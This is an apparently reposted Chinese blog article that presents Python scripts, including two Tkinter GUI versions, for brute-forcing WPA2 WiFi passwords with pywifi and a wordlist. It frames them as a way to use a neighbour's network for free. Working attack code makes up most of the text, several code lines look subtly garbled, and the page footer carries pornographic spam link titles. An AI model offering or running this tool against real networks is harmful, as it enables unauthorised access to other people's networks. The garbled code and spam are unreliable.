<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          破解隔壁老王WiFi密碼,太刺激了!

          共 37069字,需瀏覽 75分鐘

           ·

          2021-08-25 15:27

          原文鏈接:

          https://blog.csdn.net/weixin_39190897/article/details/119778471

          大家好,我是 Jack。

          這兩天,又看到了一個(gè)比較好玩的 Python 練手小項(xiàng)目:局域網(wǎng)WIFI 密碼暴力破解。

          前言

          本文將記錄學(xué)習(xí)下如何通過(guò) Python 腳本實(shí)現(xiàn) WIFI 密碼的暴力破解,從而實(shí)現(xiàn)免費(fèi)蹭網(wǎng)。

          無(wú)圖形界面

          先來(lái)看看沒(méi)有圖形界面版的爆破腳本。

          WIFI爆破

          import pywifi
          from pywifi import const
          import time
          import datetime


          # 測(cè)試連接,返回鏈接結(jié)果
          def wifiConnect(pwd):
              # 抓取網(wǎng)卡接口
              wifi = pywifi.PyWiFi()
              # 獲取第一個(gè)無(wú)線網(wǎng)卡
              ifaces = wifi.interfaces()[0]
              # 斷開(kāi)所有連接
              ifaces.disconnect()
              time.sleep(1)
              wifistatus = ifaces.status()
              if wifistatus == const.IFACE_DISCONNECTED:
                  # 創(chuàng)建WiFi連接文件
                  profile = pywifi.Profile()
                  # 要連接WiFi的名稱
                  profile.ssid = "Tr0e"
                  # 網(wǎng)卡的開(kāi)放狀態(tài)
                  profile.auth = const.AUTH_ALG_OPEN
                  # wifi加密算法,一般wifi加密算法為wps
                  profile.akm.append(const.AKM_TYPE_WPA2PSK)
                  # 加密單元
                  profile.cipher = const.CIPHER_TYPE_CCMP
                  # 調(diào)用密碼
                  profile.key = pwd
                  # 刪除所有連接過(guò)的wifi文件
                  ifaces.remove_all_network_profiles()
                  # 設(shè)定新的連接文件
                  tep_profile = ifaces.add_network_profile(profile)
                  ifaces.connect(tep_profile)
                  # wifi連接時(shí)間
                  time.sleep(2)
                  if ifaces.status() == const.IFACE_CONNECTED:
                      return True
                  else:
                      return False
              else:
                  print("已有wifi連接")


          # 讀取密碼本
          def readPassword():
              success = False
              print("****************** WIFI破解 ******************")
              # 密碼本路徑
              path = "pwd.txt"
              # 打開(kāi)文件
              file = open(path, "r")
              start = datetime.datetime.now()
              while True:
                  try:
                      pwd = file.readline()
                      # 去除密碼的末尾換行符
                      pwd = pwd.strip('\n')
                      bool = wifiConnect(pwd)
                      if bool:
                          print("[*] 密碼已破解:", pwd)
                          print("[*] WiFi已自動(dòng)連接!!!")
                          success = True
                          break
                      else:
                          # 跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
                          print("正在破解 SSID 為 %s 的 WIFI密碼,當(dāng)前校驗(yàn)的密碼為:%s"%("Tr0e",pwd))
                  except:
                      continue
              end = datetime.datetime.now()
              if(success):
                  print("[*] 本次破解WIFI密碼一共用了多長(zhǎng)時(shí)間:{}".format(end - start))
              else:
                  print("[*] 很遺憾未能幫你破解出當(dāng)前指定WIFI的密碼,請(qǐng)更換密碼字典后重新嘗試!")
              exit(0)


          if __name__=="__main__":
              readPassword()

          代碼運(yùn)行效果:

          腳本優(yōu)化

          以上腳本需內(nèi)嵌 WIFI 名、爆破字典路徑,缺少靈活性。下面進(jìn)行改造優(yōu)化:

          import pywifi
          import time
          from pywifi import const


          # WiFi掃描模塊
          def wifi_scan():
              # 初始化wifi
              wifi = pywifi.PyWiFi()
              # 使用第一個(gè)無(wú)線網(wǎng)卡
              interface = wifi.interfaces()[0]
              # 開(kāi)始掃描
              interface.scan()
              for i in range(4):
                  time.sleep(1)
                  print('\r掃描可用 WiFi 中,請(qǐng)稍后。。。(' + str(3 - i), end=')')
              print('\r掃描完成!\n' + '-' * 38)
              print('\r{:4}{:6}{}'.format('編號(hào)''信號(hào)強(qiáng)度''wifi名'))
              # 掃描結(jié)果,scan_results()返回一個(gè)集,存放的是每個(gè)wifi對(duì)象
              bss = interface.scan_results()
              # 存放wifi名的集合
              wifi_name_set = set()
              for w in bss:
                  # 解決亂碼問(wèn)題
                  wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
                  wifi_name_set.add(wifi_name_and_signal)
              # 存入列表并按信號(hào)排序
              wifi_name_list = list(wifi_name_set)
              wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
              num = 0
              # 格式化輸出
              while num < len(wifi_name_list):
                  print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
                  num += 1
              print('-' * 38)
              # 返回wifi列表
              return wifi_name_list


          # WIFI破解模塊
          def wifi_password_crack(wifi_name):
              # 字典路徑
              wifi_dic_path = input("請(qǐng)輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個(gè)密碼占據(jù)1行)的路徑:")
              with open(wifi_dic_path, 'r'as f:
                  # 遍歷密碼
                  for pwd in f:
                      # 去除密碼的末尾換行符
                      pwd = pwd.strip('\n')
                      # 創(chuàng)建wifi對(duì)象
                      wifi = pywifi.PyWiFi()
                      # 創(chuàng)建網(wǎng)卡對(duì)象,為第一個(gè)wifi網(wǎng)卡
                      interface = wifi.interfaces()[0]
                      # 斷開(kāi)所有wifi連接
                      interface.disconnect()
                      # 等待其斷開(kāi)
                      while interface.status() == 4:
                          # 當(dāng)其處于連接狀態(tài)時(shí),利用循環(huán)等待其斷開(kāi)
                          pass
                      # 創(chuàng)建連接文件(對(duì)象)
                      profile = pywifi.Profile()
                      # wifi名稱
                      profile.ssid = wifi_name
                      # 需要認(rèn)證
                      profile.auth = const.AUTH_ALG_OPEN
                      # wifi默認(rèn)加密算法
                      profile.akm.append(const.AKM_TYPE_WPA2PSK)
                      profile.cipher = const.CIPHER_TYPE_CCMP
                      # wifi密碼
                      profile.key = pwd
                      # 刪除所有wifi連接文件
                      interface.remove_all_network_profiles()
                      # 設(shè)置新的wifi連接文件
                      tmp_profile = interface.add_network_profile(profile)
                      # 開(kāi)始嘗試連接
                      interface.connect(tmp_profile)
                      start_time = time.time()
                      while time.time() - start_time < 1.5:
                          # 接口狀態(tài)為4代表連接成功(當(dāng)嘗試時(shí)間大于1.5秒之后則為錯(cuò)誤密碼,經(jīng)測(cè)試測(cè)正確密碼一般都在1.5秒內(nèi)連接,若要提高準(zhǔn)確性可以設(shè)置為2s或以上,相應(yīng)暴力破解速度就會(huì)變慢)
                          if interface.status() == 4:
                              print(f'\r連接成功!密碼為:{pwd}')
                              exit(0)
                          else:
                              print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='')

          # 主函數(shù)
          def main():
              # 退出標(biāo)致
              exit_flag = 0
              # 目標(biāo)編號(hào)
              target_num = -1
              while not exit_flag:
                  try:
                      print('WiFi萬(wàn)能鑰匙'.center(35'-'))
                      # 調(diào)用掃描模塊,返回一個(gè)排序后的wifi列表
                      wifi_list = wifi_scan()
                      # 讓用戶選擇要破解的wifi編號(hào),并對(duì)用戶輸入的編號(hào)進(jìn)行判斷和異常處理
                      choose_exit_flag = 0
                      while not choose_exit_flag:
                          try:
                              target_num = int(input('請(qǐng)選擇你要嘗試破解的wifi:'))
                              # 如果要選擇的wifi編號(hào)在列表內(nèi),繼續(xù)二次判斷,否則重新輸入
                              if target_num in range(len(wifi_list)):
                                  # 二次確認(rèn)
                                  while not choose_exit_flag:
                                      try:
                                          choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)'))
                                          # 對(duì)用戶輸入進(jìn)行小寫(xiě)處理,并判斷
                                          if choose.lower() == 'y':
                                              choose_exit_flag = 1
                                          elif choose.lower() == 'n':
                                              break
                                          # 處理用戶其它字母輸入
                                          else:
                                              print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o')
                                      # 處理用戶非字母輸入
                                      except ValueError:
                                          print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o')
                                  # 退出破解
                                  if choose_exit_flag == 1:
                                      break
                                  else:
                                      print('請(qǐng)重新輸入哦(*^▽^*)')
                          except ValueError:
                              print('只能輸入數(shù)字哦o(* ̄︶ ̄*)o')
                      # 密碼破解,傳入用戶選擇的wifi名稱
                      wifi_password_crack(wifi_list[target_num][1])
                      print('-' * 38)
                      exit_flag = 1
                  except Exception as e:
                      print(e)
                      raise e


          if __name__ == '__main__':
              main()

          腳本運(yùn)行效果如下:

          上述代碼實(shí)現(xiàn)了依據(jù)信號(hào)強(qiáng)度枚舉當(dāng)前附近的所有 WIFI 名稱,并且可供用戶自主選擇需要暴力破解的 WIFI,同時(shí)還可靈活指定暴力破解的字典,相對(duì)而言體驗(yàn)感提升了不少。進(jìn)一步也可以將上述腳本打包生成 exe 文件,雙擊運(yùn)行效果如下:

          圖形化界面

          下面基于 Python 的 GUI 圖形界面開(kāi)發(fā)庫(kù) Tkinter 優(yōu)化上述腳本,實(shí)現(xiàn)友好的可視化 WIFI 暴力破解界面工具。

          簡(jiǎn)單版UI

          from tkinter import *
          from pywifi import const
          import pywifi
          import time


          # 主要步驟:
          # 1、獲取第一個(gè)無(wú)線網(wǎng)卡
          # 2、斷開(kāi)所有的wifi
          # 3、讀取密碼本
          # 4、設(shè)置睡眠時(shí)間
          def wificonnect(str, wifiname):
              # 窗口無(wú)線對(duì)象
              wifi = pywifi.PyWiFi()
              # 抓取第一個(gè)無(wú)線網(wǎng)卡
              ifaces = wifi.interfaces()[0]
              # 斷開(kāi)所有的wifi
              ifaces.disconnect()
              time.sleep(1)
              if ifaces.status() == const.IFACE_DISCONNECTED:
                  # 創(chuàng)建wifi連接文件
                  profile = pywifi.Profile()
                  profile.ssid = wifiname
                  # wifi的加密算法
                  profile.akm.append(const.AKM_TYPE_WPA2PSK)
                  # wifi的密碼
                  profile.key = str
                  # 網(wǎng)卡的開(kāi)發(fā)
                  profile.auth = const.AUTH_ALG_OPEN
                  # 加密單元,這里需要寫(xiě)點(diǎn)加密單元否則無(wú)法連接
                  profile.cipher = const.CIPHER_TYPE_CCMP
                  # 刪除所有的wifi文件
                  ifaces.remove_all_network_profiles()
                  # 設(shè)置新的連接文件
                  tep_profile = ifaces.add_network_profile(profile)
                  # 連接
                  ifaces.connect(tep_profile)
                  time.sleep(3)
                  if ifaces.status() == const.IFACE_CONNECTED:
                      return True
                  else:
                      return False


          def readPwd():
              # 獲取wiif名稱
              wifiname = entry.get().strip()
              path = r'./pwd.txt'
              file = open(path, 'r')
              while True:
                  try:
                      # 讀取
                      mystr = file.readline().strip()
                      # 測(cè)試連接
                      bool = wificonnect(mystr, wifiname)
                      if bool:
                          text.insert(END, '密碼正確' + mystr)
                          text.see(END)
                          text.update()
                          file.close()
                          break
                      else:
                          text.insert(END, '密碼錯(cuò)誤' + mystr)
                          text.see(END)
                          text.update()
                  except:
                      continue


          # 創(chuàng)建窗口
          root = Tk()
          root.title('wifi破解')
          root.geometry('500x400')
          # 標(biāo)簽
          label = Label(root, text='輸入要破解的WIFI名稱:')
          # 定位
          label.grid()
          # 輸入控件
          entry = Entry(root, font=('微軟雅黑'14))
          entry.grid(row=0, column=1)
          # 列表控件
          text = Listbox(root, font=('微軟雅黑'14), width=40, height=10)
          text.grid(row=1, columnspan=2)
          # 按鈕
          button = Button(root, text='開(kāi)始破解', width=20, height=2, command=readPwd)
          button.grid(row=2, columnspan=2)
          # 顯示窗口
          root.mainloop()

          腳本運(yùn)行效果:

          UI升級(jí)版

          以上圖形界面未允許選擇密碼字典,下面進(jìn)行優(yōu)化升級(jí):

          from tkinter import *
          from tkinter import ttk
          import pywifi
          from pywifi import const
          import time
          import tkinter.filedialog  # 在Gui中打開(kāi)文件瀏覽
          import tkinter.messagebox  # 打開(kāi)tkiner的消息提醒框


          class MY_GUI():
              def __init__(self, init_window_name):
                  self.init_window_name = init_window_name
                  # 密碼文件路徑
                  self.get_value = StringVar()  # 設(shè)置可變內(nèi)容
                  # 獲取破解wifi賬號(hào)
                  self.get_wifi_value = StringVar()
                  # 獲取wifi密碼
                  self.get_wifimm_value = StringVar()
                  # 抓取網(wǎng)卡接口
                  self.wifi = pywifi.PyWiFi()
                  # 抓取第一個(gè)無(wú)線網(wǎng)卡
                  self.iface = self.wifi.interfaces()[0]
                  # 測(cè)試鏈接斷開(kāi)所有鏈接
                  self.iface.disconnect()
                  time.sleep(1)  # 休眠1秒
                  # 測(cè)試網(wǎng)卡是否屬于斷開(kāi)狀態(tài)
                  assert self.iface.status() in \
                         [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

              def __str__(self):
                  # 自動(dòng)會(huì)調(diào)用的函數(shù),返回自身的網(wǎng)卡
                  return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())

              # 設(shè)置窗口
              def set_init_window(self):
                  self.init_window_name.title("WIFI破解工具")
                  self.init_window_name.geometry('+500+200')
                  labelframe = LabelFrame(width=400, height=200, text="配置")  # 框架,以下對(duì)象都是對(duì)于labelframe中添加的
                  labelframe.grid(column=0, row=0, padx=10, pady=10)
                  self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
                  self.pojie = Button(labelframe, text="開(kāi)始破解", command=self.readPassWord).grid(column=1, row=0)
                  self.label = Label(labelframe, text="目錄路徑:").grid(column=0, row=1)
                  self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
                  self.file = Button(labelframe, text="添加密碼文件目錄", command=self.add_mm_file).grid(column=2, row=1)
                  self.wifi_text = Label(labelframe, text="WiFi賬號(hào):").grid(column=0, row=2)
                  self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
                  self.wifi_mm_text = Label(labelframe, text="WiFi密碼:").grid(column=2, row=2)
                  self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
                  self.wifi_labelframe = LabelFrame(text="wifi列表")
                  self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
                  # 定義樹(shù)形結(jié)構(gòu)與滾動(dòng)條
                  self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a""b""c""d"))
                  self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
                  self.wifi_tree.configure(yscrollcommand=self.vbar.set)
                  # 表格的標(biāo)題
                  self.wifi_tree.column("a", width=50, anchor="center")
                  self.wifi_tree.column("b", width=100, anchor="center")
                  self.wifi_tree.column("c", width=100, anchor="center")
                  self.wifi_tree.column("d", width=100, anchor="center")
                  self.wifi_tree.heading("a", text="WiFiID")
                  self.wifi_tree.heading("b", text="SSID")
                  self.wifi_tree.heading("c", text="BSSID")
                  self.wifi_tree.heading("d", text="signal")
                  self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
                  self.wifi_tree.bind("<Double-1>", self.onDBClick)
                  self.vbar.grid(row=4, column=1, sticky=NS)

              # 搜索wifi
              def scans_wifi_list(self):  # 掃描周圍wifi列表
                  # 開(kāi)始掃描
                  print("^_^ 開(kāi)始掃描附近wifi...")
                  self.iface.scan()
                  time.sleep(15)
                  # 在若干秒后獲取掃描結(jié)果
                  scanres = self.iface.scan_results()
                  # 統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量
                  nums = len(scanres)
                  print("數(shù)量: %s" % (nums))
                  # 實(shí)際數(shù)據(jù)
                  self.show_scans_wifi_list(scanres)
                  return scanres

              # 顯示wifi列表
              def show_scans_wifi_list(self, scans_res):
                  for index, wifi_info in enumerate(scans_res):
                      self.wifi_tree.insert(""'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

              # 添加密碼文件目錄
              def add_mm_file(self):
                  self.filename = tkinter.filedialog.askopenfilename()
                  self.get_value.set(self.filename)

              # Treeview綁定事件
              def onDBClick(self, event):
                  self.sels = event.widget.selection()
                  self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])

              # 讀取密碼字典,進(jìn)行匹配
              def readPassWord(self):
                  self.getFilePath = self.get_value.get()
                  self.get_wifissid = self.get_wifi_value.get()
                  pwdfilehander = open(self.getFilePath, "r", errors="ignore")
                  while True:
                      try:
                          self.pwdStr = pwdfilehander.readline()
                          if not self.pwdStr:
                              break
                          self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                          if self.bool1:
                              self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, self.pwdStr)
                              self.get_wifimm_value.set(self.pwdStr)
                              tkinter.messagebox.showinfo('提示''破解成功!!!')
                              print(self.res)
                              break
                          else:
                              self.res = "[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, self.pwdStr)
                              print(self.res)
                          time.sleep(3)
                      except:
                          continue

              # 對(duì)wifi和密碼進(jìn)行匹配
              def connect(self, pwd_Str, wifi_ssid):
                  # 創(chuàng)建wifi鏈接文件
                  self.profile = pywifi.Profile()
                  self.profile.ssid = wifi_ssid  # wifi名稱
                  self.profile.auth = const.AUTH_ALG_OPEN  # 網(wǎng)卡的開(kāi)放
                  self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
                  self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密單元
                  self.profile.key = pwd_Str  # 密碼
                  self.iface.remove_all_network_profiles()  # 刪除所有的wifi文件
                  self.tmp_profile = self.iface.add_network_profile(self.profile)  # 設(shè)定新的鏈接文件
                  self.iface.connect(self.tmp_profile)  # 鏈接
                  time.sleep(5)
                  if self.iface.status() == const.IFACE_CONNECTED:  # 判斷是否連接上
                      isOK = True
                  else:
                      isOK = False
                  self.iface.disconnect()  # 斷開(kāi)
                  time.sleep(1)
                  # 檢查斷開(kāi)狀態(tài)
                  assert self.iface.status() in \
                         [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
                  return isOK


          def gui_start():
              init_window = Tk()
              ui = MY_GUI(init_window)
              print(ui)
              ui.set_init_window()
              init_window.mainloop()


          if __name__ == "__main__":
              gui_start()

          腳本運(yùn)行效果如下:

          以上基于 Python 的 GUI 圖形界面開(kāi)發(fā)庫(kù) Tkinter,實(shí)際上 Python 的 GUI 編程可以借助 PyQt5 來(lái)自動(dòng)生成 UI 代碼。

          總結(jié)

          本文學(xué)習(xí)了 Python 暴力破解 WIFI 密碼的方法、以及 Python GUI 圖形化編程的基礎(chǔ)使用。

          無(wú)論是暴力破解,還是跑字典,都是很基礎(chǔ)的方法,實(shí)際要用這種方法破解 WIFI 密碼,純粹看運(yùn)氣了。

          初學(xué) Python 的練手趣味小項(xiàng)目,倒是可以玩一玩。

          ·················END·················

          推薦閱讀

          ?   開(kāi)新坑了!Jack 連夜整理~?   我一年的堅(jiān)持,值了?   Pytorch小抄寶典!

          瀏覽 118
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  热99视频 | 91牛视频| 亚洲A级黄片 | 天天爽天天爽天天爽天天爽 | 中日韩在线播放 |